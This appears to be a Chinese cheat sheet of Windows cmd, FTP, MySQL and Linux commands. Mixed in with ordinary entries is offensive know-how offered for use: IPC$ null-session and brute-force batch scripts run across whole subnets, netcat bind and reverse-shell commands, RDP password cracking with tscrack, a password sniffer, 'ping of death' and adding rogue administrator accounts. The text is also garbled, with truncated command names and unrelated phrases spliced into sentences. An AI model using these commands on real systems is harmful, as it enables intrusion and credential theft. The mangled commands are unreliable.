cmd关机命令

Windows--cmd命令⾏清空命令窗⼝及命令⼤全

Windows在使⽤cmd命令⾏清空窗⼝⾥的信息

cmd命令⼤全

-----组策略

32-------录⾳机

up-------IP地址侦测器，是⼀个监测⽹络中DNS服务器是否能正确实现域名解析的命令⾏⼯具。它在Windows

NT/2000/XP中均可使⽤,但在Windows98中却没有集成这⼀个⼯具。

er-------打开资源管理器

---------注销命令

wn-------60秒倒计时关机命令

----本机⽤户和组

---本地服务设置

/msoobe/a----检查XP是否激活

d--------打开记事本

gr-------垃圾整理

rtmesnger----开始信使服务

---计算机管理

pmesnger-----停⽌信使服务

-----------启动netmeeting

y--------DVD播放器

p--------启动字符映射表

---磁盘管理实⽤程序

-----------启动计算器

-------磁盘碎⽚整理程序

-----Chkdsk磁盘检查

---设备管理器

32/u*.dll----停⽌dll⽂件运⾏

32------系统医⽣

e-p----15秒关机

---------检查DirectX信息

32-------注册表编辑器

---系统配置实⽤程序

-------组策略结果集

--------显⽰内存使⽤情况

----注册表

t--------XP⾃带局域⽹聊天

n--------程序管理器

---------系统信息

----计算机性能监测程序

---------检查Windows版本

/scannow-----扫描错误并复原

r-----任务管理器（2000/xp/2003

----打开windows管理体系结构(WMI)

r--------windows更新程序

t--------windows脚本宿主设置

----------写字板

gr-------扫描仪和照相机向导

t--------XP⾃带局域⽹聊天

r2-------简易widnowsmediaplayer

t--------画图板

----------远程桌⾯连接

y--------放⼤镜实⽤程序

------------打开控制台

c--------同步命令

ss-------⽊马捆绑⼯具，系统⾃带

-----共享⽂件夹管理器

n--------辅助⼯具管理器

fg-------打开系统组件服务

re-------打开DDE共享设置

------------打开屏幕键盘

32-------ODBC数据源管理器

/msoobe/a----检查XP是否激活

up-------系统备份和还原

or-------屏幕“讲述⼈”

----移动存储管理器

---移动存储管理员操作请求

t-an----(TC)命令检查接⼝

p--------创建⼀个公⽂包

t--------系统配置编辑器

if-------⽂件签名验证程序

------索引服务程序

w--------创建共享⽂件夹

-----本地安全策略

---------系统加密，⼀旦加密就不能解开，保护windowsxp系统的双重密码

---本地服务设置

32-------⾳量控制程序

--------系统⽂件检查器

/scannow---windows⽂件保护

------索引服务程序

art------xp简介（安装完成后出现的漫游xp程序）

r--------任务管理器

wr-------事件查看器

it-------造字程序

---计算机管理

er-------对象包装程序

----计算机性能监测程序

p--------启动字符映射表

fg-------SQLSERVER客户端⽹络实⽤程序

d--------剪贴板查看器

-----------启动netmeeting

----证书管理实⽤程序

32/u*.dll----停⽌dll⽂件运⾏

32/------取消ZIP⽀持

--------CMD命令提⽰符

操作详解：

netuipipc$""/ur:""建⽴IPC空链接

netuipipc$"密码"/ur:"⽤户名"建⽴IPC⾮空链接

netuh:ipc$"密码"/ur:"⽤户名"直接登陆后映射对⽅C：到本地为H:

netuh:ipc$登陆后映射对⽅C：到本地为H:

netuipipc$/del删除IPC链接

netuh:/del删除映射对⽅到本地的为H:的映射

netur⽤户名 密码 /add建⽴⽤户

neturguest/active:yes激活guest⽤户

netur查看有哪些⽤户

netur帐户名查看帐户的属性

netlocalgroupadministrators⽤户名/add把“⽤户”添加到管理员中使其具有管理员权限

netstart查看开启了哪些服务

netstart服务名 开启服务；(如:netstarttelnet，netstartschedule)

netstop服务名停⽌某服务

nettime⽬标ip查看对⽅时间

nettime⽬标ip/t设置本地计算机时间与“⽬标IP”主机的时间同步,加上参数/yes可取消确认信息

netview查看本地局域⽹内开启了哪些共享

netviewip查看对⽅局域⽹内开启了哪些共享

netconfig显⽰系统⽹络设置

netlogoff断开连接的共享

netpau服务名暂停某服务

netndip"⽂本信息"向对⽅发信息

netver局域⽹内正在使⽤的⽹络连接类型和信息

netshare查看本地开启的共享

netshareipc$开启ipc$共享

netshareipc$/del删除ipc$共享

netsharec$/del删除C：共享

neturguest12345⽤guest⽤户登陆后⽤将密码改为12345

netpassword密码更改系统登陆密码

netstat-a查看开启了哪些端⼝,常⽤netstat-an

netstat-n查看端⼝的⽹络连接情况，常⽤netstat-an

netstat-v查看正在进⾏的⼯作

netstat-p协议名例：netstat-ptcq/ip查看某协议使⽤情况

netstat-s查看正在使⽤的所有协议使⽤情况

nbtstat-Aip对⽅136到139其中⼀个端⼝开了的话，就可查看对⽅最近登陆的⽤户名

tracert-参数ip(或计算机名)跟财务部职责 踪路由（数据包），参数：“-w数字”⽤于设置超时间隔。

pingip(或域名)向对⽅主机发送默认⼤⼩为32字节的数据，参数：“-l[空格]数据包⼤⼩”；“-n发送数据次数”；“-t”指⼀直

ping。

ping-t-l65550ip死亡之ping(发送⼤于64K的⽂件并⼀直ping就成了死亡之ping)

ipconfig(winipcfg)⽤于windowsNT及XP(windows9598)查看本地ip地址，ipconfig可⽤参数“/all”显⽰全部配置信息

tlist-t以树⾏列表显⽰进程(为系统的附加⼯具，默认是没有安装的，在安装⽬录的Support/tools⽂件夹内)

kill-F进程名加-F参数后强制结束某进程(为系统的附加⼯具，默认是没有安装的，在安装⽬录的Support/tools⽂件夹内)

del-F⽂件名加-F参数后就可删除只读⽂件,/AR、/AH、/AS、/AA分别表⽰删除只读、隐藏、系统、存档⽂件，/A-R、/A-H、/A-

S、/A-A表⽰删除除只读、隐藏、系统、存档以外的⽂件。例如“DEL/AR*.*”表⽰删除当前⽬录下所有只读⽂件，“DEL/A-S*.*”表⽰

删除当前⽬录下除系统⽂件以外的所有⽂件

del/S/Q⽬录或⽤：rmdir/s/Q⽬录/S删除⽬录及⽬录下的所有⼦⽬录和⽂件。同时使⽤参数/Q可取消删除操作时的系统确认

就直接删除。（⼆个命令作⽤相同）

move盘符路径要移动的⽂件名 存放移动⽂件的路径移动后⽂件名移动⽂件,⽤参数/y将取消确认移动⽬录存在相同⽂件的提⽰就直

接覆盖

>对⽐⼆个⽂件并把不同之处输出到⽂件中，">"和">>"是重定向命令

atid号开启已注册的某个计划任务

at/delete停⽌所有计划任务，⽤参数/yes则不需要确认就直接停⽌

atid号/delete停⽌某个已注册的计划任务

at查看所有的计划任务

atiptime程序名(或⼀个命令)/r在某时间运⾏对⽅某程序并重新启动计算机

fingerurname@host查看最近有哪些⽤户登陆

telnetip端⼝远和登陆服务器,默认端⼝为23

openip连接到IP（属telnet登陆后的命令）

telnet在本机上直接键⼊telnet将进⼊本机的telnet

copy路径⽂件名1 路径⽂件名2/y复制⽂件1到指定的⽬录为⽂件2，⽤参数/y就同时取消确认你要改写⼀份现存⽬录⽂件

copyc:dmin$复制本地c:到对⽅的admin下

/b+/将的内容藏⾝到中⽣成新的⽂件，注：⽂件头要空三排，参数：/b

指⼆进制⽂件，/a指ASCLL格式⽂件

copyipadmin$:或:copyipadmin$*.*复制对⽅admini$共享下的⽂件（所有⽂件）⾄本地C：

xcopy要复制的⽂件或⽬录树 ⽬标地址⽬录名复制⽂件和⽬录树，⽤参数/Y将不提⽰覆盖相同⽂件

⽤参数/e才可连⽬录下的⼦⽬录⼀起复制到⽬标地址下。

tftp-i⾃⼰IP(⽤⾁机作跳板时这⽤⾁机IP):登陆后，将“IP”的下载到⽬标主机

c:参数：-i指以⼆进制模式传送，如传送exe⽂件时⽤，如不加-i则以ASCII模式（传送⽂本⽂件模式）进⾏传送

tftp-i对⽅IP putc:登陆后，上传本地c:⾄主机

ftpip端⼝⽤于上传⽂件⾄服务器或进⾏⽂件操作，默认端⼝为21。bin指⽤⼆进制⽅式传送（可执⾏⽂件进）；默认为ASC遇到爱的 II格式传

送(⽂本⽂件时)

routeprint显⽰出IP路由，将主要显⽰⽹络地址Networkaddres，⼦⽹掩码Netmask，⽹关地址Gatewayaddres，接⼝地址

Inte全国交通安全 rface

arp查看和处理ARP缓存，ARP是名字解析的意思，负责把⼀个IP解析成⼀个物理性的MAC地址。arp-a将显⽰出全部信息

start程序名或命令/max或/min新开⼀个新窗⼝并最⼤化（最⼩化）运⾏某程序或命令

mem查看cpu使⽤情况

attrib⽂件名(⽬录名)查看某⽂件（⽬录）的属性

attrib⽂件名-A-R-S-H或+A+R+S+H去掉(添加)某⽂件的存档，只读，系统，隐藏属性；⽤+则是添加为某属性

dir查看⽂件，参数：/Q显⽰⽂件及⽬录属系统哪个⽤户，/T:C显⽰⽂件创建时间，/T:A显⽰⽂件上次被访问时间，/T:W上次被修改

时间

date/t、time/t使⽤此参数即“DATE/T”、“TIME/T”将只显⽰当前⽇期和时间，⽽不必输⼊新⽇期和时间

t指定环境变量名称=要指派给变量的字符设置环境变量

t显⽰当前所有的环境变量

tp(或其它字符)显⽰出当前以字符p(或其它字符)开头的所有环境变量

pau暂停批处理程序，并显⽰出：请按任意键继续....

if在批处理程序中执⾏条件处理（更多说明见if命令及变量）

goto标签将导向到批处理程序中带标签的⾏（标签必须单独⼀⾏，且以冒号打头，例如：“：start”标签）

call路径批处理⽂孟加拉人 件名从批处理程序中调⽤另⼀个批处理程序（更多说明见call/?）

for对⼀组⽂件中的每⼀个⽂件执⾏某个特定命令（更多说明见for命令及变量）

echoon或off打开或关闭echo，仅⽤echo不加参数则显⽰当前echo设置

echo信息在屏幕上显⽰出信息

echo信息>>将"信息"保存到⽂件中

findstr"Hello"在⽂件中寻找字符串hello

find⽂件名查找某⽂件

title标题名字更改CMD窗⼝标题名字

color颜⾊值设置cmd控制台前景和背景颜⾊；0=⿊、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=⽩、8=灰、9=淡蓝、A=

淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮⽩

prompt名称更改的显⽰的命令提⽰符(把C:、D:统⼀改为：EntSky)

ver在DOS窗⼝下显⽰版本信息

winver弹出⼀个窗⼝显⽰版本信息（内存⼤⼩、系统版本、补丁版本、计算机名）

format盘符/FS:类型格式化磁盘,类型:FAT、FAT32、NTFS,例：FormatD:/FS:NTFS

md ⽬录名创建⽬录

replace源⽂件 要替换⽂件的⽬录替换⽂件

ren原⽂件名 新⽂件名重命名⽂件名

tree以树形结构显⽰出⽬录，⽤参数-f将列出第个⽂件夹中⽂件名称

type⽂件名显⽰⽂本⽂件的内容

more⽂件名逐屏显⽰输出⽂件

doskey要锁定的命令=字符

doskey要解锁命令=为DOS提供的锁定命令(编辑命令⾏，重新调⽤win2k命令，并创建宏)。如：锁定dir命令：doskeydir=entsky

(不能⽤doskeydir=dir)；解锁：doskeydir=

taskmgr调出任务管理器

chkdsk/FD:检查磁盘D并显⽰状态报告；加参数/f并修复磁盘上的错误

tlntadmntelnt服务admn,键⼊tlntadmn选择3，再选择8,就可以更改telnet服务默认端⼝23为其它任何端⼝

exit退出程序或⽬前，⽤参数/B则是退出当前批处理脚本⽽不是

path路径可执⾏⽂件的⽂件名为可执⾏⽂件设置⼀个路径。

cmd启动⼀个win2K命令解释窗⼝。参数：/eff、/en关闭、开启命令扩展；更我详细说明见cmd/?

regedit/s注册表⽂件名导⼊注册表；参数/S指安静模式导⼊，⽆任何提⽰；

regedit/e注册表⽂件名导出注册表

cacls⽂件名 参数显⽰或修改⽂件访问控制列表（ACL）——针对NTFS格式时。参数：/D⽤户名:设定拒绝某⽤户访问；/P⽤户

名:perm替换指定⽤户的访问权限；/G⽤户名:perm赋予指定⽤户访问权限；Perm可以是:N⽆，R读取，W写⼊，C更改(写⼊)，F

完全控制；例：caclsD:/Dpub设定d:拒绝pub⽤户访问。

cacls⽂件名查看⽂件的访问⽤户权限列表

REM⽂本内容在批处理⽂件中添加注解

netsh查看或更改本地⽹络配置情况

IIS服务命令

iisret/reboot重启win2k计算机（但有提⽰系统将重启信息出现）

iisret/start或stop启动（停⽌）所有Internet服务

iisret/restart停⽌然后重新启动所有Internet服务

iisret/status显⽰所有Internet服务状态

iisret/enable或disable在本地系统上启⽤（禁⽤）Internet服务的重新启动

iisret/rebootonerror当启动、停⽌或重新启动Internet服肉炒莲藕 务时，若发⽣错误将重新开机

iisret/noforce若⽆法停⽌Internet服务，将不会强制终⽌Internet服务

iisret/timeoutVal在到达逾时间（秒）时，仍未停⽌Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值

为重新启动20秒，停⽌60秒，重新开机0秒。

FTP命令：(后⾯有详细说明内容)

ftp的命令⾏格式为:

ftp－v－d－i－n－g[主机名]－v显⽰远程服务器的所有响应信息。

－d使⽤调试⽅式。

－n限制ftp的⾃动登录,即不使⽤.netrc⽂件。

－g取消全局⽂件名。

help[命令]或？[命令]查看命令说明

bye或quit终⽌主机FTP进程,并退出FTP管理⽅式.

pwd列出当前远端主机⽬录

put或nd本地⽂件名[上传到主机上的⽂件名]将本地⼀个⽂件传送⾄远端主机中

get或recv[远程主机⽂件名][下载到本地后的⽂件名]从远端主机中传送⾄本地主机中

mget[remote-files]从远端主机接收⼀批⽂件⾄本地主机

mputlocal-files将本地主机中⼀批⽂件传送⾄远端主机

dir或ls[remote-directory][local-file]列出当前远端主机⽬录中的⽂件.如果有本地⽂件,就将结果写⾄本地⽂件

ascii设定以ASCII⽅式传送⽂件(缺省值)

bin或image设定以⼆进制⽅式传送⽂件

bell每完成⼀次⽂件传送,报警提⽰

cdup返回上⼀级⽬录

clo中断与远程服务器的ftp会话(与open对应)

openhost[port]建⽴指定ftp服务器连接,可指定连接端⼝

delete删除远端主机中的⽂件

mdelete[remote-files]删除⼀批⽂件

mkdirdirectory-name在远端主机中建⽴⽬录

rename[from][to]改变远端主机中的⽂件名

rmdirdirectory-name删除远端主机中的⽬录

status显⽰当前FTP的状态

system显⽰远端主机系统类型

urur-name[password][account]重新以别的⽤户名登录远端主机

openhost[port]重新建⽴⼀个新的连接

prompt交互提⽰模式

macdef定义宏命令

lcd改变当前本地主机的⼯作⽬录,如果缺省,就转到当前⽤户的HOME⽬录

chmod改变远端主机的⽂件权限

ca当为ON时,⽤MGET命令拷贝的⽂件名到本地机器中,全部转换为⼩写字母

cdremote－dir进⼊远程主机⽬录

cdup进⼊远程主机⽬录的⽗⽬录

!在本地机中执⾏交互shell，exit回到ftp环境,如!ls*.zip

#5

MYSQL命令

mysql-h主机地址-u⽤户名－p密码连接MYSQL;如果刚安装好MYSQL，超级⽤户root是没有密码的。

（例：mysql-h110.110.110.110-Uroot-P123456

注:u与root可以不⽤加空格，其它也⼀样）

exit退出MYSQL

mysqladmin-u⽤户名-p旧密码password新密码修改密码

grantlecton数据库.*to⽤户名@登录主机identifiedby"密码";增加新⽤户。（注意：和上⾯不同，下⾯的因为是MYSQL环境

中的命令，所以后⾯都带⼀个分号作为命令结束符）

showdatabas;显⽰数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它⾥⾯有MYSQL的系统信息，我们改密

码和新增⽤户，实际上就是⽤这个库进⾏操作。

umysql；

showtables;显⽰库中的数据表

describe表名;显⽰数据表的结构

createdataba库名;建库

u库名；

createtable表名(字段设定列表)；建表

dropdataba库名;

droptable表名；删库和删表

deletefrom表名;将表中记录清空

lect*from表名;显⽰表中的记录

mysqldump--optschool>备份数据库：（命令在DOS的mysqlin⽬录下执⾏）;注释:将数据库school备份到

⽂件，是⼀个⽂本⽂件，⽂件名任取，打开看看你会有新发现。

win2003系统下新增命令（实⽤部份）：

shutdown/参数关闭或重启本地或远程主机。

参数说明：/S关闭主机，/R重启主机，/T数字设定延时的时间，范围0～180秒之间，/A取消开机，/M//IP指定的远程主机。

例：shutdown/r/t0⽴即重启本地主机（⽆延时）

taskill/参数进程名或进程的pid终⽌⼀个或多个任务和进程。

参数说明：/PID要终⽌进程的pid,可⽤tasklist命令获得各进程的pid，/IM要终⽌的进程的进程名，/F强制终⽌进程，/T终⽌指定的

进程及他所启动的⼦进程。

tasklist显⽰当前运⾏在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。

参数说明：/M列出当前进程加载的dll⽂件，/SVC显⽰出每个进程对应的服务，⽆参数时就只列出当前的进程。

Linux系统下基本命令 注：要区分⼤⼩写

uname显⽰版本信息（同win2K的ver）

dir显⽰当前⽬录⽂件,ls-al显⽰包括隐藏⽂件（同win2K的dir）

pwd查询当前所在的⽬录位置

cdcd ..回到上⼀层⽬录，注意cd与..之间有空格。cd /返回到根⽬录。

cat⽂件名查看⽂件内容

cat>往⽂件中写上内容。

more⽂件名以⼀页⼀页的⽅式显⽰⼀个⽂本⽂件。

cp复制⽂件

mv移动⽂件

rm⽂件名删除⽂件，rm-a⽬录名删除⽬录及⼦⽬录

mkdir⽬录名建⽴⽬录

rmdir删除⼦⽬录，⽬录内没有⽂档。

chmod设定档案或⽬录的存取权限

grep在档案中查找字符串

diff档案⽂件⽐较

find档案搜寻

date现在的⽇期、时间

who查询⽬前和你使⽤同⼀台机器的⼈以及Login时间地点

w查询⽬前上机者的详细资料

whoami查看⾃⼰的帐号名称

groups查看某⼈的Group

passwd更改密码

history查看⾃⼰下过的命令

ps显⽰进程状态

kill停⽌某进程

gcc⿊客通常⽤它来编译C语⾔写的⽂件

su权限转换为指定使⽤者

telnetIPtelnet连接对⽅主机（同win2K），当出现bash$时就说明连接成功。

ftpftp连接上某服务器（同win2K）

批处理命令与变量

1：for命令及变量基本格式

FOR/参数%variableIN(t)DOcommand[command_parameters]%variable:指定⼀个单⼀字母可替换的参数，如：%i，⽽

指定⼀个变量则⽤：%%i，⽽调⽤变量时⽤：%i%，变量是区分⼤⼩写的（%i不等于%I）。

批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理⽂件名使⽤，%1默认为使⽤此批处理时输⼊的的第⼀个值，同

理：%2—%9指输⼊的第2-9个值；例：netuipipc$pass/ur:ur中ip为%1,pass为%2,ur为%3

(t):指定⼀个或⼀组⽂件，可使⽤通配符，如：(D:)和(11254)(1-1254),{“(11254)”第⼀个"1"指起始值，第⼆

个"1"指增长量，第三个"254"指结束值，即：从1到254；“(1-1254)”说明：即从254到1}

command：指定对第个⽂件执⾏的命令，如：netu命令；如要执⾏多个命令时，命令这间加：&来隔开

command_parameters：为特定命令指定参数或命令⾏开关

IN(t)：指在(t)中取值；DOcommand：指执⾏command

参数：/L指⽤增量形式{(t)为增量形式时}；/F指从⽂件中不断取值，直到取完为⽌{(t)为⽂件时，如(d:)时}。

⽤法举例：

@echooff

echo⽤法格式：*.*.*>

for/L%%Gin(11254)doecho%1.%%G>>&netu%1.%%G/ur:administrator|find"命令成功完成"

>>

存为说明：对指定的⼀个C类⽹段的254个IP依次试建⽴administrator密码为空的IPC$连接，如果成功就把该IP存在

中。

/L指⽤增量形式（即从1-254或254-1）；输⼊的IP前⾯三位：*.*.*为批处理默认的%1；%%G为变量(ip的最后⼀位）；&⽤来隔开

echo和netu这⼆个命令；|指建⽴了ipc$后，在结果中⽤find查看是否有"命令成功完成"信息；%1.%%G为完整的IP地址；(11

254)指起始值，增长量，结⽌值。

@echooff

echo⽤法格式：

FOR/F%%iIN(D:)%1%%iD:200

存为：说明：输⼊⼀个IP后，⽤字典⽂件d:来暴解d:中的⽤户密码，直到⽂件中值取完为⽌。%%i为⽤户名；

%1为输⼊的IP地址（默认）。

七：

2：if命令及变量基本格式

IF[not]errorlevel数字命令语句如果程序运⾏最后返回⼀个等于或⼤于指定数字的退出编码，指定条件为“真”。

例：IFerrorlevel0命令指程序执⾏后返回的值为0时，就值⾏后⾯的命令；IFnoterrorlevel1命令指程序执⾏最后返回的值不等

于1，就执⾏后⾯的命令。

0指发现并成功执⾏（真）；1指没有发现、没执⾏（假）。

IF[not]字符串1==字符串2命令语句如果指定的⽂本字符串匹配（即：字符串1等于字符串2），就执⾏后⾯的命令。

例：“if"%2%"=="4"gotostart”指：如果输⼊的第⼆个变量为4时，执⾏后⾯的命令（注意：调⽤变量时就%变量名%并加""）

IF[not]exist⽂件名命令语句如果指定的⽂件名存在，就执⾏后⾯的命令。

例：“oend”指：如果没有发现⽂件就跳到":end"标签处。

IF[not]errorlevel数字命令语句el命令语句或IF[not]字符串1==字符串2命令语句el命令语句或IF[not]exist⽂件名命

令语句el命令语句加上：el命令语句后指：当前⾯的条件不成⽴时，就指⾏el后⾯的命令。注意：el必须与if在同⼀⾏才有

效。当有del命令时需把del命令全部内容⽤<>括起来，因为del命令要单独⼀⾏时才能执⾏，⽤上<>后就等于是单独⼀⾏了；例如：“if

.<.>g”，注意命令中的“.”

系统外部命令

注：系统外部命令(均需下载相关⼯具)

瑞⼠军⼑：

参数说明：

-h查看帮助信息

-d后台模式

-eprog程序重定向，⼀但连接就执⾏[危险]

-ics延时的间隔

-l监听模式，⽤于⼊站连接

-L监听模式，连接天闭后仍然继续监听，直到CTR+C

-nIP地址，不能⽤域名

-ofilm记录16进制的传输

-p[空格]端⼝本地端⼝号

-r随机本地及远程端⼝

-t使⽤Telnet交互⽅式

-uUDP模式

-v详细输出，⽤-vv将更详细

-w数字timeout延时间隔

-z将输⼊，输出关掉（⽤于扫锚时）

基本⽤法：

nc-nvv192.168.0.180连接到192.168.0.1主机的80端⼝

nc-l-p80开启本机的TCP80端⼝并监听

nc-nvv-w2-z192.168.0.180-1024扫锚192.168.0.1的80-1024端⼝

nc-l-p5354-t-ec:绑定remote主机的cmdshell在remote的TCP5354端⼝

nc-t-ec:192.168.0.25354梆定remote主机的cmdshell并反向连接192.168.0.2的5354端⼝

⾼级⽤法：

nc-L-p80作为蜜罐⽤1：开启并不停地监听80端⼝，直到CTR+C为⽌

nc-L-p80>c:作为蜜罐⽤2：开启并不停地监听80端⼝，直到CTR+C,同时把结果输出到c:

nc-L-p80

亦可起到传送⽂件作⽤

:honeyport|nc-L-p80作为蜜罐⽤3-2：开启并不停地监听80端⼝，直到CTR+C,并把c:中内容送⼊管

道中,亦可起到传送⽂件作⽤

本机上⽤：nc-l-p本机端⼝

在对⽅主机上⽤：本机IP-p本机端⼝*win2K

nc-e/bin/sh本机IP-p本机端⼝*linux,unix反向连接突破对⽅主机的防⽕墙

本机上⽤：nc-d-l-p本机端⼝<要传送的⽂件路径及名称

在对⽅主机上⽤：nc-vv本机IP本机端⼝>存放⽂件的路径及名称传送⽂件到对⽅主机

备注：

|管道命令

<或>重定向命令。“<”，例如：tlntadmn<指把的内容赋值给tlntadmn命令

@表⽰执⾏@后⾯的命令，但不会显⽰出来（后台执⾏）；例：@dirc:winnt>>d:意思是：后台执⾏dir，并把结果存在

d:中

>与>>的区别">"指：覆盖；">>"指：保存到(添加到）。

如：@dirc:winnt>>d:和@dirc:winnt>d:⼆个命令分别执⾏⼆次⽐较看：⽤>>的则是把⼆次的结果都保存了，⽽⽤：>

则只有⼀次的结果，是因为第⼆次的结果把第⼀次的覆盖了。

扫描⼯具：

基本格式

xscan-host<起始IP>[-<终⽌IP>]<检测项⽬>[其他选项]扫锚"起始IP到终⽌IP"段的所有主机信息

xscan-file<主机列表⽂件名><检测项⽬>[其他选项]扫锚"主机IP列表⽂件名"中的所有主机信息

检测项⽬

-active检测主机是否存活

-os检测远程操作系统类型（通过NETBIOS和SNMP协议）

-port检测常⽤服务的端⼝状态

-ftp检测FTP弱⼝令

-pub检测FTP服务匿名⽤户写权限

-pop3检测POP3-Server弱⼝令

-smtp检测SMTP-Server漏洞

-sql检测SQL-Server弱⼝令

-smb检测NT-Server弱⼝令

-iis检测IIS编码/解码漏洞

-cgi检测CGI漏洞

-nasl加载Nessus攻击脚本

-all检测以上所有项⽬

其它选项

-i适配器编号设置⽹络适配器,<适配器编号>可通过"-l"参数获取

-l显⽰所有⽹络适配器

-v显⽰详细扫描进度

-p跳过没有响应的主机

-o跳过没有检测到开放端⼝的主机

-t并发线程数量,并发主机数量指定最⼤并发线程数量和并发主机数量,默认数量为100,10

-log⽂件名指定扫描报告⽂件名(后缀为：TXT或HTML格式的⽂件)

⽤法⽰例

xscan-host192.168.1.1-192.168.255.255-all-active-p 检测192.168.1.1-192.168.255.255⽹段内主机的所有漏洞，跳

过⽆响应的主机

xscan-host192.168.1.1-192.168.255.255-port-smb-t150-o检测192.168.1.1-192.168.255.255⽹段内主机的标准端

⼝状态，NT弱⼝令⽤户，最⼤并发线程数量为150，跳过没有检测到开放端⼝的主机

-port-cgi-t200,5-v-o检测“”⽂件中列出的所有主机的标准端⼝状态，CGI漏洞，最⼤并发

线程数量为200，同⼀时刻最多检测5台主机，显⽰详细检测进度，跳过没有检测到开放端⼝的主机

命令⾏⽅式嗅探器:

可捕获局域⽹内FTP/SMTP/POP3/HTTP协议密码

参数说明

-tcp输出TCP数据报

-udp输出UDP数据报

-icmp输出ICMP数据报

-pass过滤密码信息

-hide后台运⾏

-host解析主机名

-addrIP地址过滤IP地址

-port端⼝过滤端⼝

-log⽂件名将输出保存到⽂件

-asc以ASCII形式输出

-hex以16进制形式输出

⽤法⽰例

后台运⾏嗅探密码并将密码信息保存在⽂件中

-tcp-udp-asc-addr192.168.1.1嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出

终端服务密码破解:

参数说明

-h显⽰使⽤帮助

-v显⽰版本信息

-s在屏幕上打出解密能⼒

-b密码错误时发出的声⾳

-t同是发出多个连接（多线程）

-NPreventSystemLogentriesontargetedrver

-U卸载移除tscrack组件

-f使⽤－f后⾯的密码

-F间隔时间（频率）

-l使⽤－l后⾯的⽤户名

-w使⽤－w后⾯的密码字典

-p使⽤－p后⾯的密码

-D登录主页⾯

⽤法⽰例

远程⽤密码字典⽂件暴破主机的administrator的登陆密码

tscrack192.168.0.1-ladministrator-p123456⽤密码123456远程登陆192.168.0.1的administrator⽤户

@onoscan

@for/f"tokens=1delims="%%iin()%%i

nscan

@indorscanfaild

(①存为)（假设现有⽤SuperScan或其它扫锚器扫到⼀批开有3389的主机IP列表⽂件)

意思是：从⽂件中取⼀个IP，接着运⾏

@onoscan

@tscrack%>>

:noscan

@indorscanfaild

(②存为)(运⾏就OK，且、、、与在同⼀个⽬录下；就可以等待

结果了)

意思是：运⾏⽤字典暴破中所有主机的administrator密码，并将破解结果保存在⽂件中。

其它

ShutdownIP地址t:2020秒后将对⽅NT⾃动关闭（Windows2003系统⾃带⼯具，在Windows2000下⽤进就得下载此⼯具才能

⽤。在前⾯Windows2003DOS命令中有详细介绍。）

(TCP端⼝重定向⼯具)在第⼆篇中有详细说明（端⼝重定向绕过防⽕墙）

fpipe-l80-s1029-r80当有⼈扫锚你的80端⼝时，他扫到的结果会完全是的主机信息

Fpipe-l23-s88-r23⽬标IP把本机向⽬标IP发送的23端⼝Telnet请求经端⼝重定向后，就通过88端⼝发送到⽬标IP的23端⼝。

（与⽬标IP建⽴Telnet时本机就⽤的88端⼝与其相连接）然后：直接Telnet127.0.0.1（本机IP）就连接到⽬标IP的23端⼝了。

(远程开启telnet⼯具)

帐号 密码 ntlm认证⽅式 Telnet端⼝（不需要上传破坏微软的⾝份验证⽅式）直接远程开启对⽅的

telnet服务后，就可⽤telnetip连接上对⽅。

NTLM认证⽅式：0：不使⽤NTLM⾝份验证；1：先尝试NTLM⾝份验证，如果失败，再使⽤⽤户名和密码；2：只使⽤NTLM⾝份验

证。

(OpenTelnet附带的另⼀个⼯具)

帐号 密码⽤Telnet连接完对⽅后，就⽤这个命令将对⽅的Telnet设置还原，并同时关闭Telnet服务。

FTP命令详解

FTP命令是Internet⽤户使⽤最频繁的命令之⼀，熟悉并灵活应⽤FTP的内部命令，可以⼤⼤⽅便使⽤者，并收到事半功倍之效。如果

你想学习使⽤进⾏后台FTP下载，那么就必须学习FTP指令。

FTP的命令⾏格式为：

ftp-v-d-i-n-g[主机名]，其中

-v显⽰远程服务器的所有响应信息

-n限制ftp的⾃动登录，即不使⽤；.netrc⽂件；

-d使⽤调试⽅式；

-g取消全局⽂件名。

FTP使⽤的内部命令如下(中括号表⽰可选项):

1.![cmd[args]]：在本地机中执⾏交互shell，exit回到ftp环境，如：!ls*.zip

2.$macro-ame[args]：执⾏宏定义macro-name。

t[password]：提供登录远程系统成功后访问系统资源所需的补充⼝令。

local-file[remote-file]：将本地⽂件追加到远程系统主机，若未指定远程系统⽂件名，则使⽤本地⽂件名。

：使⽤ascii类型传输⽅式。

：每个命令执⾏完毕后计算机响铃⼀次。

：使⽤⼆进制⽂件传输⽅式。

：退出ftp会话过程。

：在使⽤mget时，将远程主机⽂件名中的⼤写转为⼩写字母。

te-dir：进⼊远程主机⽬录。

：进⼊远程主机⽬录的⽗⽬录。

odefile-name：将远程主机⽂件file-name的存取⽅式设置为mode，如：。

：中断与远程服务器的ftp会话(与open对应)。

：使⽤asscii⽅式传输⽂件时，将回车换⾏转换为回⾏。

remote-file：删除远程主机⽂件。

[debug-value]：设置调试⽅式，显⽰发送⾄远程主机的每条命令，如：debup3，若设为0，表⽰取消debug。

[remote-dir][local-file]：显⽰远程主机⽬录，并将结果存⼊本地⽂件。

nection：同clo。

rmat：将⽂件传输⽅式设置为format，缺省为file⽅式。

ote-file[local-file]：将远程主机的⽂件remote-file传⾄本地硬盘的local-file。

：设置mdelete，mget，mput的⽂件名扩展，缺省时不扩展⽂件名，同命令⾏的-g参数。

：每传输1024字节，显⽰⼀个hash符号(#)。

[cmd]：显⽰ftp内部命令cmd的帮助信息，如：helpget。

[conds]：将远程服务器的休眠计时器设为[conds]秒。

：设置⼆进制传输⽅式(同binary)。

[dir]：将本地⼯作⽬录切换⾄dir。

[remote-dir][local-file]：显⽰远程⽬录remote-dir，并存⼊本地⽂件local-file。

macro-name：定义⼀个宏，遇到macdef下的空⾏时，宏定义结束。

e[remote-file]：删除远程主机⽂件。

mote-fileslocal-file：与dir类似，但可指定多个远程⽂件，如：mdir*.o.*.zipoutfile。

mote-files：传输多个远程⽂件。

ir-name：在远程主机中建⼀⽬录。

ote-filelocal-file：同nlist，但可指定多个⽂件名。

[modename]：将⽂件传输⽅式设置为modename，缺省为stream⽅式。

efile-name：显⽰远程主机⽂件的最后修改时间。

cal-file：将多个⽂件传输⾄远程主机。

ile-name：如果远程机中file-name的修改时间⽐本地硬盘同名⽂件的时间更近，则重传该⽂件。

